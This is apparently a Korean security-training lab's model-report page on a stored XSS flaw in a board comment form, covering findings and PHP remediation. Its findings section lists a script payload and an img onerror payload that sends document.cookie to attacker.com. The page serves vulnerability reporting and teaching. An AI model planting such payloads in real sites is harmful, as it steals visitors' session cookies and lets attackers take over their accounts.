Warning: Undefined variable $dir in /var/www/html/includes/report_guide_infra.php on line 177
보고서 가이드 — ForusSec Lab
W-04

XSS — Stored (저장형)

위험도: 상
⚠️ 위험도 근거: 불특정 다수 피해자에게 지속적으로 실행, 세션 탈취·웜 가능
📌 아래 내용이 표준 보고서에 포함되어야 합니다. 자신이 작성한 보고서와 대조하세요.

취약점 개요

📄 표준 내용
Stored XSS(저장형 크로스사이트 스크립팅)는 공격자가 삽입한 악성 스크립트가 데이터베이스에 저장되어, 해당 페이지를 방문하는 모든 사용자의 브라우저에서 반복 실행되는 취약점이다. Reflected XSS 대비 피해 범위가 광범위하며 위험도가 높다.

발견 내용

📄 표준 내용
[점검 대상]
URL: POST /board.php
파라미터: content (댓글 내용)

[점검 내용]
댓글 입력 폼의 content 파라미터에 스크립트 삽입 후 저장 시,
이후 해당 게시글을 방문하는 모든 사용자에게 스크립트가 실행됨.

[페이로드]
<script>alert('Stored XSS - '+document.cookie)</script>
<img src=x onerror="fetch('http://attacker.com?c='+document.cookie)">

[결과]
① 댓글 등록 후 페이지 재방문 시 alert() 실행 확인
② DB 저장 확인: 악성 스크립트가 comments 테이블에 그대로 저장됨
③ 쿠키 탈취 가능 상태 확인 (HttpOnly 미설정)

조치 방안

📄 표준 내용
[즉시 조치]
1. 저장 시 입력값 검증 (HTML 태그 제거 또는 이스케이프)
   조치: $content = htmlspecialchars($_POST['content'], ENT_QUOTES, 'UTF-8');

2. 출력 시에도 이스케이프 적용 (이중 방어)
   취약: echo $comment['content'];
   조치: echo htmlspecialchars($comment['content'], ENT_QUOTES, 'UTF-8');

3. 기존 저장된 악성 데이터 정리 필요

[추가 조치]
4. CSP 헤더 적용
5. session.cookie_httponly = On
6. 허용 태그 목록 기반 HTML 필터 라이브러리 사용 (예: HTML Purifier)